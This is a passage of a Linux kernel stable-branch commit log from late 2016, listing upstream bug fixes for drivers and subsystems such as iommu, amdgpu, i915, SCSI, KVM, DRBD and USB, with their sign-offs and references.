Kim Tested-by: Arnaldo Carvalho de Melo Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Fixes: f5b763feebe9 ("perf hists browser: Count number of hierarchy entries") Link: http://lkml.kernel.org/r/20161007050412.3000-1-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Greg Kroah-Hartman commit 6ac4e06b717fc2e4ad5301799b4795076c31c351 Author: Guenter Roeck Date: Tue Oct 4 11:50:54 2016 -0700 Input: synaptics-rmi4 - fix error handling in I2C transport driver commit 261d7794c49b9a3bb5115c5ffc452e00f969bf43 upstream. Instantiating the rmi4 I2C transport driver without interrupts assigned (for example using manual i2c instantiation from the command line) caused the driver to fail to load, but it does not clean up its regulator or transport device registrations. Result is a crash at a later time, for example when rebooting the system. Fixes: 946c8432aab0 ("Input: synaptics-rmi4 - support regulator supplies") Cc: Bjorn Andersson Signed-off-by: Guenter Roeck Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman commit d3716f1b3e4b3f8347e44bbfc18c4e9445a50c34 Author: Guenter Roeck Date: Tue Oct 4 11:48:55 2016 -0700 Input: synaptics-rmi4 - fix error handling in SPI transport driver commit bbc2ceeb3220e54c7574f0b5e3a252fd9a62cf8a upstream. Instantiating the rmi4 SPI transport driver without an interrupt assigned caused the driver to fail to load, but it does not clean up its transport device registration. Result may be a crash at a later time, for example when rebooting the system. Fixes: 8d99758dee31 ("Input: synaptics-rmi4 - add SPI transport driver") Signed-off-by: Guenter Roeck Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman commit 66503ec38f3419b7e0d75ac4d9267c9e95539066 Author: Guenter Roeck Date: Tue Aug 9 22:34:31 2016 -0700 watchdog: core: Fix devres_alloc() allocation size commit 2e91838bf7ffdedabdb29e091207d6531d04ef4f upstream. Coverity reports: Passing argument 152UL /* sizeof (*wdd) */ to function __devres_alloc_node and then casting the return value to struct watchdog_device ** is suspicious. Allocation size needs to be sizeof(*rcwdd), not sizeof(*wdd). Fixes: 83fbae5a148c ("watchdog: Add a device managed API for ...") Cc: Neil Armstrong Signed-off-by: Guenter Roeck Acked-by: Neil Armstrong Signed-off-by: Wim Van Sebroeck Signed-off-by: Greg Kroah-Hartman commit c5e9e5cc8cd1db6105f543d1a667f0334f2ca679 Author: Chris Wilson Date: Thu Aug 18 17:16:41 2016 +0100 agp/intel: Flush chipset writes after updating a single PTE commit 3497971a71d8b15a41b7bf2bf66ebf5909b2bd3f upstream. After we update one PTE for a page, the caller expects to be able to immediately use that through a GGTT read/write. To comply with the callers expectations we therefore need to flush the chipset buffers before returning. Reported-by: Matti Hämäläinen Fixes: d6473f566417 ("drm/i915: Add support for mapping an object page...") Signed-off-by: Chris Wilson Cc: Ankitprasad Sharma Cc: Tvrtko Ursulin Tested-by: Matti Hämäläinen Cc: drm-intel-fixes@lists.freedesktop.org Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-2-chris@chris-wilson.co.uk Signed-off-by: Greg Kroah-Hartman commit 813617a4c8dce216ee1b1569858d8938c681210e Author: Joerg Roedel Date: Tue Nov 8 15:08:26 2016 +0100 iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path commit bea64033dd7b5fb6296eda8266acab6364ce1554 upstream. It turns out that the disable_dmar_iommu() code-path tried to get the device_domain_lock recursivly, which will dead-lock when this code runs on dmar removal. Fix both code-paths that could lead to the dead-lock. Fixes: 55d940430ab9 ('iommu/vt-d: Get rid of domain->iommu_lock') Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman commit b6ef0b1422089b442d848509d9d33e693b12e830 Author: Baoquan He Date: Thu Sep 15 16:50:52 2016 +0800 iommu/amd: Free domain id when free a domain of struct dma_ops_domain commit c3db901c54466a9c135d1e6e95fec452e8a42666 upstream. The current code missed freeing domain id when free a domain of struct dma_ops_domain. Signed-off-by: Baoquan He Fixes: ec487d1a110a ('x86, AMD IOMMU: add domain allocation and deallocation functions') Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman commit 2ef38255b5880f7dbb089b48411468fbc4fa3d07 Author: Robin Murphy Date: Tue Sep 13 18:02:02 2016 +0100 iommu/io-pgtable-arm: Check for v7s-incapable systems commit 82db33dc5e49fb625262d81125625d07a0d6184e upstream. On machines with no 32-bit addressable RAM whatsoever, we shouldn't even touch the v7s format as it's never going to work. Fixes: e5fc9753b1a8 ("iommu/io-pgtable: Add ARMv7 short descriptor support") Reported-by: Eric Auger Tested-by: Eric Auger Signed-off-by: Robin Murphy Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman commit d3d9428d71333b0929c30e7d3feacac6306828d5 Author: Chuck Lever Date: Mon Nov 7 16:16:24 2016 -0500 xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect commit 62bdf94a2049822ef8c6d4b0e83cd9c3a1663ab4 upstream. When a LOCALINV WR is flushed, the frmr is marked STALE, then frwr_op_unmap_sync DMA-unmaps the frmr's SGL. These STALE frmrs are then recovered when frwr_op_map hunts for an INVALID frmr to use. All other cases that need frmr recovery leave that SGL DMA-mapped. The FRMR recovery path unconditionally DMA-unmaps the frmr's SGL. To avoid DMA unmapping the SGL twice for flushed LOCAL_INV WRs, alter the recovery logic (rather than the hot frwr_op_unmap_sync path) to distinguish among these cases. This solution also takes care of the case where multiple LOCAL_INV WRs are issued for the same rpcrdma_req, some complete successfully, but some are flushed. Reported-by: Vasco Steinmetz Signed-off-by: Chuck Lever Tested-by: Vasco Steinmetz Signed-off-by: Anna Schumaker Signed-off-by: Greg Kroah-Hartman commit 31c749bee3dee6c320134aa2fe957c767c9c3e55 Author: Daniel Wagner Date: Fri Sep 23 10:41:57 2016 +0200 xprtrdma: use complete() instead complete_all() commit 5690a22d8612e1788b48b4ea53c59868589cd2db upstream. There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context frwr_op_unmap_sync() reinit_completion() ib_post_send() wait_for_completion() frwr_wc_localinv_wake() complete() Signed-off-by: Daniel Wagner Cc: Anna Schumaker Cc: Trond Myklebust Cc: Chuck Lever Cc: linux-nfs@vger.kernel.org Cc: netdev@vger.kernel.org Signed-off-by: Anna Schumaker Signed-off-by: Greg Kroah-Hartman commit 67080e2785a3d953946853f25a0b858193d10ee9 Author: Christian König Date: Fri Oct 28 17:04:07 2016 +0200 drm/amd: fix scheduler fence teardown order v2 commit c24784f01549ecdf23fc00d0588423bcf8956714 upstream. Some fences might be alive even after we have stopped the scheduler leading to warnings about leaked objects from the SLUB allocator. Fix this by allocating/freeing the SLUB allocator from the module init/fini functions just like we do it for hw fences. v2: make variable static, add link to bug Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=97500 Reported-by: Grazvydas Ignotas Signed-off-by: Christian König Reviewed-by: Alex Deucher (v1) Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit b0da5ab2ffb5e8738bd871a6d6ab6e6343ea2dac Author: Grazvydas Ignotas Date: Sun Oct 23 21:31:44 2016 +0300 drm/amdgpu: fix sched fence slab teardown commit a053fb7e512c77f0742bceb578b10025256e1911 upstream. To free fences, call_rcu() is used, which calls amd_sched_fence_free() after a grace period. During teardown, there is no guarantee all callbacks have finished, so sched_fence_slab may be destroyed before all fences have been freed. If we are lucky, this results in some slab warnings, if not, we get a crash in one of rcu threads because callback is called after amdgpu has already been unloaded. Fix it with a rcu_barrier(). Fixes: 189e0fb76304 ("drm/amdgpu: RCU protected amd_sched_fence_release") Acked-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit 920a85ba43063ee9a3f244afa8fed19b3d9fd5dc Author: Richard Genoud Date: Thu Oct 27 18:04:06 2016 +0200 tty/serial: at91: fix hardware handshake on Atmel platforms commit 9bcffe7575b721d7b6d9b3090fe18809d9806e78 upstream. After commit 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled"), the hardware handshake wasn't functional anymore on Atmel platforms (beside SAMA5D2). To understand why, one has to understand the flag ATMEL_US_USMODE_HWHS first: Before commit 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled"), this flag was never set. Thus, the CTS/RTS where only handled by serial_core (and everything worked just fine). This commit introduced the use of the ATMEL_US_USMODE_HWHS flag, enabling it for all boards when the user space enables flow control. When the ATMEL_US_USMODE_HWHS is set, the Atmel USART controller handles a part of the flow control job: - disable the transmitter when the CTS pin gets high. - drive the RTS pin high when the DMA buffer transfer is completed or PDC RX buffer full or RX FIFO is beyond threshold. (depending on the controller version). NB: This feature is *not* mandatory for the flow control to work. (Nevertheless, it's very useful if low latencies are needed.) Now, the specifics of the ATMEL_US_USMODE_HWHS flag: - For platforms with DMAC and no FIFOs (sam9x25, sam9x35, sama5D3, sama5D4, sam9g15, sam9g25, sam9g35)* this feature simply doesn't work. ( source: https://lkml.org/lkml/2016/9/7/598 ) Tested it on sam9g35, the RTS pins always stays up, even when RXEN=1 or a new DMA transfer descriptor is set. => ATMEL_US_USMODE_HWHS must not be used for those platforms - For platforms with a PDC (sam926{0,1,3}, sam9g10, sam9g20, sam9g45, sam9g46)*, there's another kind of problem. Once the flag ATMEL_US_USMODE_HWHS is set, the RTS pin can't be driven anymore via RTSEN/RTSDIS in USART Control Register. The RTS pin can only be driven by enabling/disabling the receiver or setting RCR=RNCR=0 in the PDC (Receive (Next) Counter Register). => Doing this is beyond the scope of this patch and could add other bugs, so the original (and working) behaviour should be set for those platforms (meaning ATMEL_US_USMODE_HWHS flag should be unset). - For platforms with a FIFO (sama5d2)*, the RTS pin is driven according to the RX FIFO thresholds, and can be also driven by RTSEN/RTSDIS in USART Control Register. No problem here. (This was the use case of commit 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled")) NB: If the CTS pin declared as a GPIO in the DTS, (for instance cts-gpios = <&pioA PIN_PB31 GPIO_ACTIVE_LOW>), the transmitter will be disabled. => ATMEL_US_USMODE_HWHS flag can be set for this platform ONLY IF the CTS pin is not a GPIO. So, the only case when ATMEL_US_USMODE_HWHS can be enabled is when (atmel_use_fifo(port) && !mctrl_gpio_to_gpiod(atmel_port->gpios, UART_GPIO_CTS)) Tested on all Atmel USART controller flavours: AT91SAM9G35-CM (DMAC flavour), AT91SAM9G20-EK (PDC flavour), SAMA5D2xplained (FIFO flavour). * the list may not be exhaustive Fixes: 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled") Signed-off-by: Richard Genoud Acked-by: Alexandre Belloni Acked-by: Cyrille Pitchen Acked-by: Uwe Kleine-König [nicolas.ferre@atmel.com: adapt to 4.4.x kernel for stable by adding the atmel_port variable declaration which was missing] Signed-off-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman commit 9d76a886eb2f0c1f26a717925d73bc7a64afa8d4 Author: Alex Deucher Date: Thu Nov 3 17:47:51 2016 -0400 drm/amdgpu: fix crash in acp_hw_fini commit 757124d95c42bb579d67df51e51789849929ee31 upstream. On CZ/ST systems with AZ rather than ACP audio, we need to bail early in hw_fini since there is nothing to do. bug: https://bugs.freedesktop.org/show_bug.cgi?id=98276 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit 6e652d18d73d16b959cf6d55c7341912d656f1e9 Author: Alex Deucher Date: Mon Oct 31 11:02:31 2016 -0400 drm/amdgpu: disable runtime pm in certain cases commit 84b1528e8cef55274f0df20e93513b3060ce495a upstream. If the platform does not support hybrid graphics or ATPX dGPU power control. Acked-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit 8c8fdc68329594fd27670a2868b7d63c16c24cfd Author: Dhinakaran Pandiyan Date: Wed Nov 2 13:13:21 2016 -0700 drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms commit 61e0c5438866d0e737937fc35d752538960e1e9f upstream. According to BSpec, cdclk for BDW has to be not less than 432 MHz with DP audio enabled, port width x4, and link rate HBR2 (5.4 GHz). With cdclk less than 432 MHz, enabling audio leads to pipe FIFO underruns and displays cycling on/off. Let's apply this work around to GEN9 platforms too, as it fixes the same issue. v2: Move drm_device to drm_i915_private conversion Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97907 Cc: Libin Yang Signed-off-by: Dhinakaran Pandiyan Reviewed-by: Jani Nikula Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1478117601-19122-1-git-send-email-dhinakaran.pandiyan@intel.com (cherry picked from commit 9c7540241885838cfc7fa58c4a8bd75be0303ed1) Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman commit db8e005bf2ba584b536bd0e6e8a8751e5453c028 Author: Dhinakaran Pandiyan Date: Tue Nov 1 11:47:59 2016 -0700 drm/i915/dp: BDW cdclk fix for DP audio commit fbb21c5202ae7f1e71e832b1af59fb047da6383e upstream. According to BSpec, cdclk for BDW has to be not less than 432 MHz with DP audio enabled, port width x4, and link rate HBR2 (5.4 GHz). With cdclk less than 432 MHz, enabling audio leads to pipe FIFO underruns and displays cycling on/off. From BSpec: "Display» BDW-SKL» dpr» [Register] DP_TP_CTL [BDW+,EXCLUDE(CHV)] Workaround : Do not use DisplayPort with CDCLK less than 432 MHz, audio enabled, port width x4, and link rate HBR2 (5.4 GHz), or else there may be audio corruption or screen corruption." Since, some DP configurations (e.g., MST) use port width x4 and HBR2 link rate, let's increase the cdclk to >= 432 MHz to enable audio for those cases. v4: Changed commit message v3: Combine BDW pixel rate adjustments into a function (Jani) v2: Restrict fix to BDW Retain the set cdclk across modesets (Ville) Signed-off-by: Dhinakaran Pandiyan Reviewed-by: Ville Syrjälä Reviewed-by: Jani Nikula Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1478026080-2925-1-git-send-email-dhinakaran.pandiyan@intel.com Signed-off-by: Greg Kroah-Hartman (cherry picked from commit b30ce9e0552aa017ac6f2243f3c2d8e36fe52e69) Signed-off-by: Jani Nikula commit f50b7450a8e4e735278e77fe2dfed7bd92a7ec3b Author: Ville Syrjälä Date: Tue Oct 11 20:52:46 2016 +0300 drm/i915: Respect alternate_ddc_pin for all DDI ports commit 8d83bc22b259e5526625b6d298f637786c71129f upstream. The VBT provides the platform a way to mix and match the DDI ports vs. GMBUS pins. Currently we only trust the VBT for DDI E, which I suppose has no standard GMBUS pin assignment. However, there are machines out there that use a non-standard mapping for the other ports as well. Let's start trusting the VBT on this one for all ports on DDI platforms. I've structured the code such that other platforms could easily start using this as well, by simply filling in the ddi_port_info. IIRC there may be CHV system that might actually need this. v2: Include a commit message, include a debug message during init Cc: Maarten Maathuis Tested-by: Maarten Maathuis Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97877 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1476208368-5710-3-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Jim Bride (cherry picked from commit e4ab73a13291fc844c9e24d5c347bd95818544d2) Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman commit e1b24f6a0b3c8ef1fef15a88007f9e92f24fcc84 Author: Alex Deucher Date: Mon Oct 31 10:41:49 2016 -0400 drm/radeon: disable runtime pm in certain cases commit 066f1f0b4719eb4573ef09bfc63c2bbb6f7676ca upstream. If the platform does not support hybrid graphics or ATPX dGPU power control. bug: https://bugzilla.kernel.org/show_bug.cgi?id=51381 Acked-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit eb13abb0e515598f7be1692e5940ba16f62304f8 Author: Andre Przywara Date: Tue Nov 1 18:00:08 2016 +0000 KVM: arm/arm64: vgic: Prevent access to invalid SPIs commit 112b0b8f8f6e18d4695d21457961c0e1b322a1d7 upstream. In our VGIC implementation we limit the number of SPIs to a number that the userland application told us. Accordingly we limit the allocation of memory for virtual IRQs to that number. However in our MMIO dispatcher we didn't check if we ever access an IRQ beyond that limit, leading to out-of-bound accesses. Add a test against the number of allocated SPIs in check_region(). Adjust the VGIC_ADDR_TO_INT macro to avoid an actual division, which is not implemented on ARM(32). [maz: cleaned-up original patch] Reviewed-by: Christoffer Dall Signed-off-by: Andre Przywara Signed-off-by: Marc Zyngier Signed-off-by: Greg Kroah-Hartman commit 2850fad5acb02d58e45bf7cab169418aab8c51f4 Author: Bart Van Assche Date: Tue Nov 1 08:19:57 2016 -0600 scsi: scsi_dh_alua: Fix a reference counting bug commit df3d422cbac685da882e4c239dfda07de33d431b upstream. The code at the end of alua_rtpg_work() is as follows: scsi_device_put(sdev); kref_put(&pg->kref, release_port_group); In other words, alua_rtpg_queue() must hold an sdev reference and a pg reference before queueing rtpg work. If no rtpg work is queued no additional references should be held when alua_rtpg_queue() returns. If no rtpg work is queued, ensure that alua_rtpg_queue() only gives up the sdev reference if that reference was obtained by the same alua_rtpg_queue() call. Signed-off-by: Bart Van Assche Reported-by: Tang Junhui Cc: Hannes Reinecke Cc: Tang Junhui Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman commit 5fac70d772a4d360eb3453f76f860c68eb192f1d Author: tang.junhui Date: Fri Oct 28 15:54:07 2016 +0800 scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work() commit 1fdd14279eab2e9f79745631379f0c53cb8f9a5a upstream. Reference count of pg leaks in alua_rtpg_work() since kref_put() is not called to decrease the reference count of pg when the condition pg->rtpg_sdev==NULL satisfied (actually it is easy to satisfy), it would cause memory of pg leakage. Signed-off-by: tang.junhui Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman commit f29bcd11a170cb44ba36ef3bef22d7af147f1718 Author: Sreekanth Reddy Date: Fri Oct 28 10:09:12 2016 +0530 scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk commit 6d3a56ed098566bc83d6c2afa74b4199c12ea074 upstream. While merging mpt3sas & mpt2sas code, we added the is_warpdrive check condition on the wrong line --------------------------------------------------------------------------- scsih_target_alloc(struct scsi_target *starget) sas_target_priv_data->handle = raid_device->handle; sas_target_priv_data->sas_address = raid_device->wwid; sas_target_priv_data->flags |= MPT_TARGET_FLAGS_VOLUME; - raid_device->starget = starget; + sas_target_priv_data->raid_device = raid_device; + if (ioc->is_warpdrive) + raid_device->starget = starget; } spin_unlock_irqrestore(&ioc->raid_device_lock, flags); return 0; ------------------------------------------------------------------------------ That check should be for the line sas_target_priv_data->raid_device = raid_device; Due to above hunk, we are not initializing raid_device's starget for raid volumes, and so during raid disk deletion driver is not calling scsi_remove_target() API as driver observes starget field of raid_device's structure as NULL. Signed-off-by: Sreekanth Reddy Fixes: 7786ab6aff9 ("mpt3sas: Ported WarpDrive product SSS6200 support") Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman commit b2040deabb0737158300e55d071890c2dc0fc084 Author: Bill Kuzeja Date: Fri Oct 21 16:45:27 2016 -0400 scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init commit a5dd506e1584e91f3e7500ab9a165aa1b49eabd4 upstream. A system can get hung task timeouts if a qlogic board fails during initialization (if the board breaks again or fails the init). The hang involves the scsi scan. In a nutshell, since commit beb9e315e6e0 ("qla2xxx: Prevent removal and board_disable race"): ...it is possible to have freed ha (base_vha->hw) early by a call to qla2x00_remove_one when pdev->enable_cnt equals zero: if (!atomic_read(&pdev->enable_cnt)) { scsi_host_put(base_vha->host); kfree(ha); pci_set_drvdata(pdev, NULL); return; Almost always, the scsi_host_put above frees the vha structure (attached to the end of the Scsi_Host we're putting) since it's the last put, and life is good. However, if we are entering this routine because the adapter has broken sometime during initialization AND a scsi scan is already in progress (and has done its own scsi_host_get), vha will not be freed. What's worse, the scsi scan will access the freed ha structure through qla2xxx_scan_finished: if (time > vha->hw->loop_reset_delay * HZ) return 1; The scsi scan keeps checking to see if a scan is complete by calling qla2xxx_scan_finished. There is a timeout value that limits the length of time a scan can take (hw->loop_reset_delay, usually set to 5 seconds), but this definition is in the data structure (hw) that can get freed early. This can yield unpredictable results, the worst of which is that the scsi scan can hang indefinitely. This happens when the freed structure gets reused and loop_reset_delay gets overwritten with garbage, which the scan obliviously uses as its timeout value. The fix for this is simple: at the top of qla2xxx_scan_finished, check for the UNLOADING bit in the vha structure (_vha is not freed at this point). If UNLOADING is set, we exit the scan for this adapter immediately. After this last reference to the ha structure, we'll exit the scan for this adapter, and continue on. This problem is hard to hit, but I have run into it doing negative testing many times now (with a test specifically designed to bring it out), so I can verify that this fix works. My testing has been against a RHEL7 driver variant, but the bug and patch are equally relevant to to the upstream driver. Fixes: beb9e315e6e0 ("qla2xxx: Prevent removal and board_disable race") Signed-off-by: Bill Kuzeja Acked-by: Himanshu Madhani Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman commit 1281b9683f96edb5273a3420f0ee843e0b763752 Author: Lorenzo Bianconi Date: Tue Oct 25 23:07:38 2016 +0200 iio: st_sensors: fix scale configuration for h3lis331dl commit d304286abbbe7ed6228a553a56ba054e900907eb upstream. fix scale configuration/parsing for h3lis331dl accel driver when sensitivity is higher than 1(m/s^2)/digit Signed-off-by: Lorenzo Bianconi Fixes: 1e52fefc9b0c ("iio: accel: Add support for the h3lis331dl accelerometer") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman commit 4dfb6d1dd11d2e2e7f364a9425a893ba1b73024e Author: Song Hongyan Date: Tue Oct 25 01:06:03 2016 +0000 iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver) commit 8af644a7d6846f48d6b72be5d4a3c6eb16bd33c8 upstream. This fix makes newer ISH hubs work. Previous ones worked by lucky coincidence. Rotation sensor function does not work due to miss PM function. Add common hid sensor iio pm function for rotation sensor. Further clarification from Srinivas: If CONFIG_PM is not defined, then this prevents this sensor to function. So above commit caused this. This sensor was supposed to be always on to trigger wake up in prior external hubs. But with the new ISH hub this is not the case. Signed-off-by: Song Hongyan Fixes: 2b89635e9a9e ("iio: hid_sensor_hub: Common PM functions") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman commit 341c5534edad511a97221eb21a5fe9bb020ec868 Author: Song Hongyan Date: Tue Oct 25 01:30:07 2016 +0000 iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation. commit 6f77199e9e4b84340c751c585691d7642a47d226 upstream. While testing, it was observed that on some platforms the scale value from iio sysfs for gyroscope is always 0 (E.g. Yoga 260). This results in the final angular velocity component values to be zeros. This is caused by insufficient precision of scale value displayed in sysfs. If the precision is changed to nano from current micro, then this is sufficient to display the scale value on this platform. Since this can be a problem for all other HID sensors, increase scale precision of all HID sensors to nano from current micro. Results on Yoga 260: name scale before scale now -------------------------------------------- gyro_3d 0.000000 0.000000174 als 0.001000 0.001000000 magn_3d 0.000001 0.000001000 accel_3d 0.000009 0.000009806 Signed-off-by: Song Hongyan Acked-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman commit b9d031f354dac940ff98c6df31f4b5864de7a33d Author: Oliver Neukum Date: Wed Nov 2 14:42:52 2016 +0100 cdc-acm: fix uninitialized variable commit 7309aa847ead3fa561663b16779a0dde8c64cc7c upstream. variable struct usb_cdc_parsed_header h may be used uninitialized in acm_probe. In kernel 4.8. /* handle quirks deadly to normal probing*/ if (quirks == NO_UNION_NORMAL) ... goto skip_normal_probe; } we bypass call to cdc_parse_cdc_header(&h, intf, buffer, buflen); but later use h in if (h.usb_cdc_country_functional_desc) { /* export the country data */ Signed-off-by: Oliver Neukum Reported-by: Victor Sologoubov Signed-off-by: Greg Kroah-Hartman commit c480880cd12c498c2b0fe859ca0a5b0b6f4f6ff1 Author: Scott Wood Date: Mon Oct 17 13:42:23 2016 -0500 clk: qoriq: Don't allow CPU clocks higher than starting value commit 7c1c5413a7bdf1c9adc8d979521f1b8286366aef upstream. The boot-time frequency of a CPU is considered its rated maximum, as we have no other source of such information. However, this was previously only used for chips with 80% restrictions on secondary PLLs. This usually wasn't a problem because most chips/configs boot with a divider of /1, with other dividers being used only for dynamic frequency reduction. However, at least one config (LS1021A at less than 1 GHz) uses a different divider for top speed. This was causing cpufreq to set a frequency beyond the chip's rated speed. This is fixed by applying a 100%-of-initial-speed limit to all CPU PLLs, similar to the existing 80% limit that only applied to some. Signed-off-by: Scott Wood Signed-off-by: Stephen Boyd Signed-off-by: Greg Kroah-Hartman commit ee27fd32c49940d4a36c4e42cb2132432f5af833 Author: Azael Avalos Date: Thu Aug 25 12:50:55 2016 -0600 toshiba-wmi: Fix loading the driver on non Toshiba laptops commit 1c80e9603fe8341ed5bea696747d07083d5e0476 upstream. Bug 150611 uncovered that the WMI ID used by the toshiba-wmi driver is not Toshiba specific, and as such, the driver was being loaded on non Toshiba laptops too. This patch adds a DMI matching list checking for TOSHIBA as the vendor, refusing to load if it is not. Also the WMI GUID was renamed, dropping the TOSHIBA_ prefix, to better reflect that such GUID is not a Toshiba specific one. Signed-off-by: Azael Avalos Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman commit f713523a234cfa2765f739406dc5c5840eb80dc7 Author: Richard Weinberger Date: Wed Nov 9 22:52:58 2016 +0100 drbd: Fix kernel_sendmsg() usage - potential NULL deref commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 upstream. Don't pass a size larger than iov_len to kernel_sendmsg(). Otherwise it will cause a NULL pointer deref when kernel_sendmsg() returns with rv < size. DRBD as external module has been around in the kernel 2.4 days already. We used to be compatible to 2.4 and very early 2.6 kernels, we used to use rv = sock_sendmsg(sock, &msg, iov.iov_len); then later changed to rv = kernel_sendmsg(sock, &msg, &iov, 1, size); when we should have used rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len); tcp_sendmsg() used to totally ignore the size parameter. 57be5bd ip: convert tcp_sendmsg() to iov_iter primitives changes that, and exposes our long standing error. Even with this error exposed, to trigger the bug, we would need to have an environment (config or otherwise) causing us to not use sendpage() for larger transfers, a failing connection, and have it fail "just at the right time". Apparently that was unlikely enough for most, so this went unnoticed for years. Still, it is known to trigger at least some of these, and suspected for the others: [0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html [1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html [2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546 [3] https://ubuntuforums.org/showthread.php?t=2336150 [4] http://e2.howsolveproblem.com/i/1175162/ This should go into 4.9, and into all stable branches since and including v4.0, which is the first to contain the exposing change. It is correct for all stable branches older than that as well (which contain the DRBD driver; which is 2.6.33 and up). It requires a small "conflict" resolution for v4.4 and earlier, with v4.5 we dropped the comment block immediately preceding the kernel_sendmsg(). Fixes: b411b3637fa7 ("The DRBD driver") Cc: viro@zeniv.linux.org.uk Cc: christoph.lechleitner@iteg.at Cc: wolfgang.glas@iteg.at Reported-by: Christoph Lechleitner Tested-by: Christoph Lechleitner Signed-off-by: Richard Weinberger [changed oneliner to be "obvious" without context; more verbose message] Signed-off-by: Lars Ellenberg Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman commit 31da266e4b9a517dd4f4b127a44bdd7237e7efcf Author: Felipe Balbi Date: Tue Nov 1 13:20:22 2016 +0200 usb: gadget: u_ether: remove interrupt throttling commit fd9afd3cbe404998d732be6cc798f749597c5114 upstream. According to Dave Miller "the networking stack has a hard requirement that all SKBs which are transmitted must have their completion signalled in a fininte amount of time. This is because, until the SKB is freed by the driver, it holds onto socket, netfilter, and other subsystem resources." In summary, this means that using TX IRQ throttling for the networking gadgets is, at least, complex and we should avoid it for the time being. Reported-by: Ville Syrjälä Tested-by: Ville Syrjälä Suggested-by: David Miller Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman commit 264e4131a167562734c2f50a8ab2593a4f709db3 Author: Johan Hovold Date: Tue Nov 8 13:10:57 2016 +0100 USB: cdc-acm: fix TIOCMIWAIT commit 18266403f3fe507f0246faa1d5432333a2f139ca upstream. The TIOCMIWAIT implementation would return -EINVAL if any of the three supported signals were included in the mask. Instead of returning an error in case TIOCM_CTS is included, simply drop the mask check completely, which is in accordance with how other drivers implement this ioctl. Fixes: 5a6a62bdb925 ("cdc-acm: add TIOCMIWAIT") Signed-off-by: Johan Hovold Acked-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman commit c12c24eeaf77d3faca3bf50bd26301d52433c97f Author: Vivek Gautam Date: Fri Oct 21 16:21:07 2016 +0530 usb: dwc3: Fix error handling for core init commit 9b9d7cdd0a20a8c26a022604580f93516ad69c36 upstream. Fixing the sequence of events in dwc3_core_init() error exit path. dwc3_core_exit() call is also removed from the error path since, whatever it's doing is already done. Fixes: c499ff7 usb: dwc3: core: re-factor init and exit paths Cc: Felipe Balbi Cc: Greg KH Signed-off-by: Vivek Gautam Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman commit 6b95417150b747aef3a9aa99c0d8497c3c739b0a Author: Marc Dietrich Date: Tue Nov 1 13:59:40 2016 +0100 staging: nvec: remove managed resource from PS2 driver commit 68fae2f3df455f53d0dfe33483a49020b3b758f3 upstream. This basicly reverts commit e534f3e9 (staging:nvec: Introduce the use of the managed version of kzalloc). Serio struct should never by managed because it is refcounted. Doing so will lead to a double free oops on module remove. Signed-off-by: Marc Dietrich Fixes: e534f3e9429f ("staging:nvec: Introduce the use of the managed version of kzalloc") Signed-off-by: Greg Kroah-Hartman commit 82239ab105a5aa507ac9e3f1b6157d05eb24c9c8 Author: Paul Fertser Date: Thu Oct 27 17:22:09 2016 +0300 Revert "staging: nvec: ps2: change serio type to passthrough" commit 